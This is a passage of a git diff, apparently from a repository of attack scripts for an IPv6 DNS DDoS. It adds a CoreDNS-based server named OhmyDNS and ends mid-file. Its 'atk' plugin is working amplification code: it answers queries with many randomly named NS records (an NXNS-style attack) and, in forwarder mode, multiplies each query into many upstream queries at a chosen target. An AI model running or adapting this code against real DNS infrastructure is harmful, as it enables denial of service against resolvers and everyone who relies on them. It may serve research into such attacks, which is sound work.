github.com/stretchr/testify v1.8.1 h1:w7B6lhMri9wdJUVmEZPGGhZzrYTPvgJArz7wNPgYKsk=
|
||||
github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
|
||||
github.com/thanhpk/randstr v1.0.6 h1:psAOktJFD4vV9NEVb3qkhRSMvYh4ORRaj1+w/hn4B+o=
|
||||
github.com/thanhpk/randstr v1.0.6/go.mod h1:M/H2P1eNLZzlDwAzpkkkUvoyNNMbzRGhESZuEQk3r0U=
|
||||
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
|
||||
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
||||
golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
|
||||
golang.org/x/mod v0.12.0 h1:rmsUpXtvNzj340zd98LZ4KntptpfRHwpFOHG188oHXc=
|
||||
golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
|
||||
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
|
||||
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.0.0-20190923162816-aa69164e4478/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.12.0 h1:cfawfvKITfUsFCeJIHJrbSxpeu/E81khclypR0GVT50=
|
||||
golang.org/x/net v0.12.0/go.mod h1:zEVYFnQC7m/vmpQFELhcD1EWkZlX69l4oqgmer6hfKA=
|
||||
golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.3.0 h1:ftCYgMx6zT/asHUrPw8BLLscYtGznsLAnjq5RH9P66E=
|
||||
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20190924154521-2837fb4f24fe/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.10.0 h1:SqMFp9UcQJZa+pmYuAKjd9xq1f0j5rLcDIk0mj4qAsA=
|
||||
golang.org/x/sys v0.10.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.11.0 h1:LAntKIrcmeSKERyiOh0XMV39LXS8IE9UL2yP7+f5ij4=
|
||||
golang.org/x/text v0.11.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE=
|
||||
golang.org/x/tools v0.0.0-20191216052735-49a3e744a425/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
|
||||
golang.org/x/tools v0.11.0 h1:EMCa6U9S2LtZXLAMoWiR/R8dAQFRqbAitmbJ2UKhoi8=
|
||||
golang.org/x/tools v0.11.0/go.mod h1:anzJrxPjNtfgiYQYirP2CPGzGLxrH2u2QBhn6Bf3qY8=
|
||||
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
google.golang.org/genproto v0.0.0-20230306155012-7f2fa6fef1f4 h1:DdoeryqhaXp1LtT/emMP1BRJPHHKFi5akj/nbx/zNTA=
|
||||
google.golang.org/genproto v0.0.0-20230306155012-7f2fa6fef1f4/go.mod h1:NWraEVixdDnqcqQ30jipen1STv2r/n24Wb7twVTGR4s=
|
||||
google.golang.org/grpc v1.55.0 h1:3Oj82/tFSCeUrRTg/5E/7d/W5A1tj6Ky1ABAuZuv5ag=
|
||||
google.golang.org/grpc v1.55.0/go.mod h1:iYEXKGkEBhg1PjZQvoYEVPTDkHo1/bjTnfwTeGONTY8=
|
||||
google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=
|
||||
google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=
|
||||
google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=
|
||||
google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE=
|
||||
google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo=
|
||||
google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
|
||||
google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
|
||||
google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
|
||||
google.golang.org/protobuf v1.30.0 h1:kPPoIgf3TsEvrm0PFe15JQ+570QVxYzEvvHqChK+cng=
|
||||
google.golang.org/protobuf v1.30.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
187
att script/3_v6_DDoS/code/辅助权威服务器/ohmain/run.go
Normal file
187
att script/3_v6_DDoS/code/辅助权威服务器/ohmain/run.go
Normal file
@@ -0,0 +1,187 @@
|
||||
package ohmain
|
||||
|
||||
import (
|
||||
"flag"
|
||||
"fmt"
|
||||
"log"
|
||||
"ohmydns2/core/dnsserver"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"github.com/coredns/caddy"
|
||||
)
|
||||
|
||||
func init() {
|
||||
caddy.DefaultConfigFile = "Ohmyfile"
|
||||
caddy.Quiet = true // don't show init stuff from caddy
|
||||
setVersion()
|
||||
|
||||
flag.StringVar(&conf, "conf", "", "Ohmyfile to load (default \""+caddy.DefaultConfigFile+"\")")
|
||||
flag.BoolVar(&plugins, "plugins", false, "List installed plugins")
|
||||
flag.StringVar(&caddy.PidFile, "pidfile", "", "Path to write pid file")
|
||||
flag.BoolVar(&version, "version", false, "Show version")
|
||||
flag.BoolVar(&dnsserver.Quiet, "quiet", false, "Quiet mode (no initialization output)")
|
||||
|
||||
caddy.RegisterCaddyfileLoader("flag", caddy.LoaderFunc(confLoader))
|
||||
caddy.SetDefaultCaddyfileLoader("default", caddy.LoaderFunc(defaultLoader))
|
||||
|
||||
//flag.StringVar(&prober.Port, serverType+".port", prober.DefaultPort, "Default port")
|
||||
//flag.StringVar(&prober.Port, "p", prober.DefaultPort, "Default port")
|
||||
|
||||
caddy.AppName = ohmyName
|
||||
caddy.AppVersion = OMVersion
|
||||
}
|
||||
|
||||
// ohmydns主函数
|
||||
func Run() {
|
||||
caddy.TrapSignals()
|
||||
flag.Parse()
|
||||
|
||||
if len(flag.Args()) > 0 {
|
||||
mustLogFatal(fmt.Errorf("extra command line arguments: %s", flag.Args()))
|
||||
}
|
||||
|
||||
log.SetOutput(os.Stdout)
|
||||
log.SetFlags(0) // Set to 0 because we're doing our own time, with timezone
|
||||
|
||||
if version {
|
||||
showVersion()
|
||||
os.Exit(0)
|
||||
}
|
||||
if plugins {
|
||||
fmt.Println(caddy.DescribePlugins())
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
// Get Ohmyfile input
|
||||
ohmyfile, err := caddy.LoadCaddyfile(serverType)
|
||||
if err != nil {
|
||||
mustLogFatal(err)
|
||||
}
|
||||
|
||||
// Start your engines
|
||||
instance, err := caddy.Start(ohmyfile)
|
||||
if err != nil {
|
||||
mustLogFatal(err)
|
||||
}
|
||||
|
||||
if !dnsserver.Quiet {
|
||||
showVersion()
|
||||
}
|
||||
|
||||
// Twiddle your thumbs
|
||||
instance.Wait()
|
||||
}
|
||||
|
||||
// mustLogFatal wraps log.Fatal() in a way that ensures the
|
||||
// output is always printed to stderr so the user can see it
|
||||
// if the user is still there, even if the process log was not
|
||||
// enabled. If this process is an upgrade, however, and the user
|
||||
// might not be there anymore, this just logs to the process
|
||||
// log and exits.
|
||||
func mustLogFatal(args ...interface{}) {
|
||||
if !caddy.IsUpgrade() {
|
||||
log.SetOutput(os.Stderr)
|
||||
}
|
||||
log.Fatal(args...)
|
||||
}
|
||||
|
||||
// confLoader loads the Caddyfile using the -conf flag.
|
||||
func confLoader(serverType string) (caddy.Input, error) {
|
||||
if conf == "" {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
if conf == "stdin" {
|
||||
return caddy.CaddyfileFromPipe(os.Stdin, serverType)
|
||||
}
|
||||
|
||||
contents, err := os.ReadFile(filepath.Clean(conf))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return caddy.CaddyfileInput{
|
||||
Contents: contents,
|
||||
Filepath: conf,
|
||||
ServerTypeName: serverType,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// defaultLoader loads the Corefile from the current working directory.
|
||||
func defaultLoader(serverType string) (caddy.Input, error) {
|
||||
contents, err := os.ReadFile(caddy.DefaultConfigFile)
|
||||
if err != nil {
|
||||
if os.IsNotExist(err) {
|
||||
return nil, nil
|
||||
}
|
||||
return nil, err
|
||||
}
|
||||
return caddy.CaddyfileInput{
|
||||
Contents: contents,
|
||||
Filepath: caddy.DefaultConfigFile,
|
||||
ServerTypeName: serverType,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// showVersion prints the version that is starting.
|
||||
func showVersion() {
|
||||
fmt.Print(versionString())
|
||||
fmt.Print(releaseString())
|
||||
if devBuild && gitShortStat != "" {
|
||||
fmt.Printf("%s\n%s\n", gitShortStat, gitFilesModified)
|
||||
}
|
||||
}
|
||||
|
||||
// versionString returns the CoreDNS version as a string.
|
||||
func versionString() string {
|
||||
return fmt.Sprintf("%s-%s\n", caddy.AppName, caddy.AppVersion)
|
||||
}
|
||||
|
||||
// releaseString returns the release information related to CoreDNS version:
|
||||
// <OS>/<ARCH>, <go version>, <commit>
|
||||
// e.g.,
|
||||
// linux/amd64, go1.8.3, a6d2d7b5
|
||||
func releaseString() string {
|
||||
return fmt.Sprintf("%s/%s, %s\n", runtime.GOOS, runtime.GOARCH, runtime.Version())
|
||||
}
|
||||
|
||||
// setVersion figures out the version information
|
||||
// based on variables set by -ldflags.
|
||||
func setVersion() {
|
||||
// A development build is one that's not at a tag or has uncommitted changes
|
||||
devBuild = gitTag == "" || gitShortStat != ""
|
||||
|
||||
// Only set the appVersion if -ldflags was used
|
||||
if gitNearestTag != "" || gitTag != "" {
|
||||
if devBuild && gitNearestTag != "" {
|
||||
appVersion = fmt.Sprintf("%s (+%s %s)", strings.TrimPrefix(gitNearestTag, "v"), GitCommit, buildDate)
|
||||
} else if gitTag != "" {
|
||||
appVersion = strings.TrimPrefix(gitTag, "v")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Flags that control program flow or startup
|
||||
var (
|
||||
conf string
|
||||
version bool
|
||||
plugins bool
|
||||
)
|
||||
|
||||
// Build information obtained with the help of -ldflags
|
||||
var (
|
||||
// nolint
|
||||
appVersion = "(untracked dev build)" // inferred at startup
|
||||
devBuild = true // inferred at startup
|
||||
|
||||
buildDate string // date -u
|
||||
gitTag string // git describe --exact-match HEAD 2> /dev/null
|
||||
gitNearestTag string // git describe --abbrev=0 --tags HEAD
|
||||
gitShortStat string // git diff-index --shortstat
|
||||
gitFilesModified string // git diff-index --name-only HEAD
|
||||
|
||||
// Gitcommit contains the commit where we built CoreDNS from.
|
||||
GitCommit string
|
||||
)
|
||||
7
att script/3_v6_DDoS/code/辅助权威服务器/ohmain/version.go
Normal file
7
att script/3_v6_DDoS/code/辅助权威服务器/ohmain/version.go
Normal file
@@ -0,0 +1,7 @@
|
||||
package ohmain
|
||||
|
||||
const (
|
||||
OMVersion = "2.0.0"
|
||||
ohmyName = "OhmyDNS"
|
||||
serverType = "dns"
|
||||
)
|
||||
12
att script/3_v6_DDoS/code/辅助权威服务器/ohmydns.go
Normal file
12
att script/3_v6_DDoS/code/辅助权威服务器/ohmydns.go
Normal file
@@ -0,0 +1,12 @@
|
||||
package main
|
||||
|
||||
//go:generate go run plugin_gen.go
|
||||
|
||||
import (
|
||||
_ "ohmydns2/core/plug"
|
||||
"ohmydns2/ohmain"
|
||||
)
|
||||
|
||||
func main() {
|
||||
ohmain.Run()
|
||||
}
|
||||
9
att script/3_v6_DDoS/code/辅助权威服务器/plugin.cfg
Normal file
9
att script/3_v6_DDoS/code/辅助权威服务器/plugin.cfg
Normal file
@@ -0,0 +1,9 @@
|
||||
log:log
|
||||
dnstap:dnstap
|
||||
debug:debug
|
||||
prometheus:prometheus
|
||||
forward:forward
|
||||
metadata:metadata
|
||||
whoami:whoami
|
||||
qname:qname
|
||||
atk:atk
|
||||
127
att script/3_v6_DDoS/code/辅助权威服务器/plugin/atk/atk.go
Normal file
127
att script/3_v6_DDoS/code/辅助权威服务器/plugin/atk/atk.go
Normal file
@@ -0,0 +1,127 @@
|
||||
package atk
|
||||
|
||||
import (
|
||||
"context"
|
||||
"github.com/miekg/dns"
|
||||
"github.com/thanhpk/randstr"
|
||||
"net"
|
||||
"ohmydns2/plugin/pkg/proxy"
|
||||
"ohmydns2/plugin/pkg/request"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type Atk struct {
|
||||
proxies []*proxy.Proxy
|
||||
serveType string
|
||||
magni int
|
||||
zoneip4 string
|
||||
zoneip6 string
|
||||
ip6NS string
|
||||
ip4NS string
|
||||
ip6Addr string
|
||||
ip4Addr string
|
||||
target string
|
||||
}
|
||||
|
||||
func (a Atk) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) {
|
||||
state := request.Request{W: w, Req: r}
|
||||
// 转发器模式
|
||||
if a.serveType == "fdns" {
|
||||
opt := proxy.Options{ForceTCP: false, PreferUDP: true, HCRecursionDesired: true, HCDomain: "."}
|
||||
for i := a.magni; i > 0; i-- {
|
||||
// 向上游发送查询请求
|
||||
go func() {
|
||||
_, _ = a.proxies[0].Connect(ctx, state, opt)
|
||||
}()
|
||||
}
|
||||
return 0, nil
|
||||
} else {
|
||||
//权威模式
|
||||
msg := new(dns.Msg)
|
||||
msg.SetReply(r)
|
||||
msg.Authoritative = true
|
||||
// 应对0x20
|
||||
qname := strings.ToLower(state.QName())
|
||||
// 请求的源地址
|
||||
switch a.validRequest(qname) {
|
||||
case 0:
|
||||
// 放大
|
||||
log.Infof("%v 查询 %v, 准备放大", state.IP(), state.Name())
|
||||
msg = a.Response(msg, 0)
|
||||
|
||||
case 1:
|
||||
//观察
|
||||
log.Infof("%v 接收到请求: %v ask %v", a.ip6NS, state.IP(), state.Name())
|
||||
msg = a.Response(msg, 1)
|
||||
case -1:
|
||||
log.Infof("%v 接收到被修改的请求(QnameMini): %v ask %v", a.ip6NS, state.IP(), state.Name())
|
||||
msg = a.Response(msg, -1)
|
||||
case 2:
|
||||
//其他请求不响应
|
||||
log.Infof("%v 意外查询 %v", state.IP(), state.Name())
|
||||
return 0, nil
|
||||
}
|
||||
|
||||
err := w.WriteMsg(msg)
|
||||
if err != nil {
|
||||
log.Info(err.Error())
|
||||
return dns.RcodeServerFailure, err
|
||||
}
|
||||
return 0, nil
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func (a Atk) Name() string {
|
||||
return "atk"
|
||||
}
|
||||
|
||||
func (a Atk) Response(msg *dns.Msg, iptype int) *dns.Msg {
|
||||
if iptype == 0 { // 一级放大
|
||||
for i := 0; i < a.magni; i++ {
|
||||
rec := new(dns.NS)
|
||||
rec.Hdr = dns.RR_Header{Class: dns.ClassINET, Ttl: 10, Rrtype: dns.TypeNS}
|
||||
rec.Hdr.Name = msg.Question[0].Name
|
||||
ns := strings.ToLower(randstr.String(10)) + "." + a.zoneip6
|
||||
log.Infof("生成NS: %v", ns)
|
||||
rec.Ns = ns
|
||||
msg.Ns = append(msg.Ns, rec)
|
||||
}
|
||||
} else if iptype == 1 { // 二级放大
|
||||
for i := 0; i < a.magni; i++ {
|
||||
rec := new(dns.NS)
|
||||
rec.Hdr = dns.RR_Header{Class: dns.ClassINET, Ttl: 10, Rrtype: dns.TypeNS}
|
||||
rec.Hdr.Name = msg.Question[0].Name
|
||||
ns := strings.ToLower(randstr.String(10)) + "." + a.zoneip4
|
||||
log.Infof("生成NS: %v", ns)
|
||||
rec.Ns = ns
|
||||
msg.Ns = append(msg.Ns, rec)
|
||||
}
|
||||
} else if iptype == 2 {
|
||||
//返回NXNS
|
||||
msg.Rcode = dns.RcodeNameError
|
||||
//授权记录
|
||||
rec := new(dns.NS)
|
||||
rec.Hdr = dns.RR_Header{Name: a.zoneip6, Class: dns.ClassINET, Ttl: 10, Rrtype: dns.TypeNS}
|
||||
rec.Ns = a.ip6NS
|
||||
msg.Ns = append(msg.Ns, rec)
|
||||
//胶水记录
|
||||
recaddr := new(dns.AAAA)
|
||||
recaddr.Hdr = dns.RR_Header{Name: a.ip6NS, Class: dns.ClassINET, Ttl: 10, Rrtype: dns.TypeAAAA}
|
||||
recaddr.AAAA = net.ParseIP(a.ip6Addr)
|
||||
msg.Extra = append(msg.Extra, recaddr)
|
||||
} else {
|
||||
// 特殊请求,返回权威信息
|
||||
//授权记录
|
||||
rec := new(dns.NS)
|
||||
rec.Hdr = dns.RR_Header{Name: a.zoneip6, Class: dns.ClassINET, Ttl: 10, Rrtype: dns.TypeNS}
|
||||
rec.Ns = a.ip6NS
|
||||
msg.Ns = append(msg.Ns, rec)
|
||||
//胶水记录
|
||||
recaddr := new(dns.AAAA)
|
||||
recaddr.Hdr = dns.RR_Header{Name: a.ip6NS, Class: dns.ClassINET, Ttl: 10, Rrtype: dns.TypeAAAA}
|
||||
recaddr.AAAA = net.ParseIP(a.ip6Addr)
|
||||
msg.Extra = append(msg.Extra, recaddr)
|
||||
}
|
||||
return msg
|
||||
}
|
||||
23
att script/3_v6_DDoS/code/辅助权威服务器/plugin/atk/atkutil.go
Normal file
23
att script/3_v6_DDoS/code/辅助权威服务器/plugin/atk/atkutil.go
Normal file
@@ -0,0 +1,23 @@
|
||||
package atk
|
||||
|
||||
import (
|
||||
"strings"
|
||||
)
|
||||
|
||||
func (a Atk) validRequest(qname string) int {
|
||||
//判断是否为第一阶段目标域名(放大)
|
||||
if strings.Contains(qname, a.zoneip4) {
|
||||
if len(strings.Split(qname, ".")) == 5 {
|
||||
//需要放大
|
||||
return 0
|
||||
}
|
||||
// 请求被修改,返回权威信息
|
||||
return -1
|
||||
}
|
||||
if strings.Contains(qname, a.zoneip6) {
|
||||
//需要放大
|
||||
return 1
|
||||
}
|
||||
// 均不满足,返回权威信息
|
||||
return 2
|
||||
}
|
||||
55
att script/3_v6_DDoS/code/辅助权威服务器/plugin/atk/atkutil_test.go
Normal file
55
att script/3_v6_DDoS/code/辅助权威服务器/plugin/atk/atkutil_test.go
Normal file
@@ -0,0 +1,55 @@
|
||||
package atk
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestAtk_validRequest(t *testing.T) {
|
||||
type fields struct {
|
||||
magni int
|
||||
zoneip4 string
|
||||
zoneip6 string
|
||||
ip6NS string
|
||||
ip4NS string
|
||||
ip6Addr string
|
||||
ip4Addr string
|
||||
}
|
||||
type args struct {
|
||||
qname string
|
||||
}
|
||||
tests := []struct {
|
||||
name string
|
||||
fields fields
|
||||
args args
|
||||
want int
|
||||
}{
|
||||
{name: "test1",
|
||||
fields: fields{
|
||||
magni: 10,
|
||||
zoneip4: "comm.n64.top",
|
||||
zoneip6: "v6.atk.top",
|
||||
ip6NS: "ns.n64.top",
|
||||
ip6Addr: "fe80::",
|
||||
ip4Addr: "1.2.3.4",
|
||||
},
|
||||
args: args{
|
||||
qname: "comm.n64.top",
|
||||
},
|
||||
want: 0,
|
||||
},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
a := Atk{
|
||||
magni: tt.fields.magni,
|
||||
zoneip4: tt.fields.zoneip4,
|
||||
zoneip6: tt.fields.zoneip6,
|
||||
ip6NS: tt.fields.ip6NS,
|
||||
ip4NS: tt.fields.ip4NS,
|
||||
ip6Addr: tt.fields.ip6Addr,
|
||||
ip4Addr: tt.fields.ip4Addr,
|
||||
}
|
||||
if got := a.validRequest(tt.args.qname); got != tt.want {
|
||||
t.Errorf("validRequest() = %v, want %v", got, tt.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
49
att script/3_v6_DDoS/code/辅助权威服务器/plugin/atk/setup.go
Normal file
49
att script/3_v6_DDoS/code/辅助权威服务器/plugin/atk/setup.go
Normal file
@@ -0,0 +1,49 @@
|
||||
package atk
|
||||
|
||||
import (
|
||||
"github.com/coredns/caddy"
|
||||
"ohmydns2/core/dnsserver"
|
||||
"ohmydns2/plugin"
|
||||
log2 "ohmydns2/plugin/pkg/log"
|
||||
"ohmydns2/plugin/pkg/proxy"
|
||||
"strconv"
|
||||
"time"
|
||||
)
|
||||
|
||||
func init() { plugin.Register("atk", setup) }
|
||||
|
||||
func setup(c *caddy.Controller) error {
|
||||
atk := new(Atk)
|
||||
c.Next()
|
||||
// domain1 domain2 factor
|
||||
args := c.RemainingArgs()
|
||||
// fdns or adns
|
||||
atk.serveType = args[0]
|
||||
if atk.serveType == "fdns" {
|
||||
atk.target = args[1]
|
||||
p := proxy.NewProxy(atk.target+":53", "dns")
|
||||
|
||||
// 开启代理连接管理
|
||||
dur, _ := time.ParseDuration("10s")
|
||||
p.Start(dur)
|
||||
atk.proxies = append(atk.proxies, p)
|
||||
atk.magni, _ = strconv.Atoi(args[2])
|
||||
|
||||
} else {
|
||||
atk.zoneip4 = args[1]
|
||||
atk.ip4NS = args[2]
|
||||
atk.ip4Addr = args[3]
|
||||
atk.zoneip6 = args[4]
|
||||
atk.ip6NS = args[5]
|
||||
atk.ip6Addr = args[6]
|
||||
atk.magni, _ = strconv.Atoi(args[7])
|
||||
}
|
||||
|
||||
dnsserver.GetConfig(c).AddPlugin(func(next plugin.Handler) plugin.Handler {
|
||||
return atk
|
||||
})
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
var log = log2.NewWithPlugin("atk")
|
||||
23
att script/3_v6_DDoS/code/辅助权威服务器/plugin/debug/debug.go
Normal file
23
att script/3_v6_DDoS/code/辅助权威服务器/plugin/debug/debug.go
Normal file
@@ -0,0 +1,23 @@
|
||||
package debug
|
||||
|
||||
import (
|
||||
"ohmydns2/core/dnsserver"
|
||||
"ohmydns2/plugin"
|
||||
|
||||
"github.com/coredns/caddy"
|
||||
)
|
||||
|
||||
func init() { plugin.Register("debug", setup) }
|
||||
|
||||
func setup(c *caddy.Controller) error {
|
||||
config := dnsserver.GetConfig(c)
|
||||
|
||||
for c.Next() {
|
||||
if c.NextArg() {
|
||||
return plugin.Error("debug", c.ArgErr())
|
||||
}
|
||||
config.Debug = true
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
71
att script/3_v6_DDoS/code/辅助权威服务器/plugin/debug/pcap.go
Normal file
71
att script/3_v6_DDoS/code/辅助权威服务器/plugin/debug/pcap.go
Normal file
@@ -0,0 +1,71 @@
|
||||
package debug
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"ohmydns2/plugin/pkg/log"
|
||||
|
||||
"github.com/miekg/dns"
|
||||
)
|
||||
|
||||
// Hexdump converts the dns message m to a hex dump Wireshark can import.
|
||||
// See https://www.wireshark.org/docs/man-pages/text2pcap.html.
|
||||
// This output looks like this:
|
||||
//
|
||||
// 00000 dc bd 01 00 00 01 00 00 00 00 00 01 07 65 78 61
|
||||
// 000010 6d 70 6c 65 05 6c 6f 63 61 6c 00 00 01 00 01 00
|
||||
// 000020 00 29 10 00 00 00 80 00 00 00
|
||||
// 00002a
|
||||
//
|
||||
// Hexdump will use log.Debug to write the dump to the log, each line
|
||||
// is prefixed with 'debug: ' so the data can be easily extracted.
|
||||
//
|
||||
// msg will prefix the pcap dump.
|
||||
func Hexdump(m *dns.Msg, v ...interface{}) {
|
||||
if !log.D.Value() {
|
||||
return
|
||||
}
|
||||
|
||||
buf, _ := m.Pack()
|
||||
if len(buf) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
out := "\n" + string(hexdump(buf))
|
||||
v = append(v, out)
|
||||
log.Debug(v...)
|
||||
}
|
||||
|
||||
// Hexdumpf dumps a DNS message as Hexdump, but allows a format string.
|
||||
func Hexdumpf(m *dns.Msg, format string, v ...interface{}) {
|
||||
if !log.D.Value() {
|
||||
return
|
||||
}
|
||||
|
||||
buf, _ := m.Pack()
|
||||
if len(buf) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
format += "\n%s"
|
||||
v = append(v, hexdump(buf))
|
||||
log.Debugf(format, v...)
|
||||
}
|
||||
|
||||
func hexdump(data []byte) []byte {
|
||||
b := new(bytes.Buffer)
|
||||
|
||||
newline := ""
|
||||
for i := 0; i < len(data); i++ {
|
||||
if i%16 == 0 {
|
||||
fmt.Fprintf(b, "%s%s%06x", newline, prefix, i)
|
||||
newline = "\n"
|
||||
}
|
||||
fmt.Fprintf(b, " %02x", data[i])
|
||||
}
|
||||
fmt.Fprintf(b, "\n%s%06x", prefix, len(data))
|
||||
|
||||
return b.Bytes()
|
||||
}
|
||||
|
||||
const prefix = "debug: "
|
||||
60
att script/3_v6_DDoS/code/辅助权威服务器/plugin/dnstap/dnstap.go
Normal file
60
att script/3_v6_DDoS/code/辅助权威服务器/plugin/dnstap/dnstap.go
Normal file
@@ -0,0 +1,60 @@
|
||||
package dnstap
|
||||
|
||||
import (
|
||||
"context"
|
||||
"ohmydns2/plugin"
|
||||
"ohmydns2/plugin/dnstap/msg"
|
||||
"time"
|
||||
|
||||
tap "github.com/dnstap/golang-dnstap"
|
||||
"github.com/miekg/dns"
|
||||
)
|
||||
|
||||
// Dnstap is the dnstap handler.
|
||||
type Dnstap struct {
|
||||
Next plugin.Handler
|
||||
io tapper
|
||||
|
||||
// IncludeRawMessage will include the raw DNS message into the dnstap messages if true.
|
||||
IncludeRawMessage bool
|
||||
Identity []byte
|
||||
Version []byte
|
||||
}
|
||||
|
||||
// TapMessage sends the message m to the dnstap interface.
|
||||
func (h Dnstap) TapMessage(m *tap.Message) {
|
||||
t := tap.Dnstap_MESSAGE
|
||||
h.io.Dnstap(&tap.Dnstap{Type: &t, Message: m, Identity: h.Identity, Version: h.Version})
|
||||
}
|
||||
|
||||
func (h Dnstap) tapQuery(w dns.ResponseWriter, query *dns.Msg, queryTime time.Time) {
|
||||
q := new(tap.Message)
|
||||
msg.SetQueryTime(q, queryTime)
|
||||
msg.SetQueryAddress(q, w.RemoteAddr())
|
||||
|
||||
if h.IncludeRawMessage {
|
||||
buf, _ := query.Pack()
|
||||
q.QueryMessage = buf
|
||||
}
|
||||
msg.SetType(q, tap.Message_CLIENT_QUERY)
|
||||
h.TapMessage(q)
|
||||
}
|
||||
|
||||
// ServeDNS logs the client query and response to dnstap and passes the dnstap Context.
|
||||
func (h Dnstap) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) {
|
||||
rw := &ResponseWriter{
|
||||
ResponseWriter: w,
|
||||
Dnstap: h,
|
||||
query: r,
|
||||
queryTime: time.Now(),
|
||||
}
|
||||
|
||||
// The query tap message should be sent before sending the query to the
|
||||
// forwarder. Otherwise, the tap messages will come out out of order.
|
||||
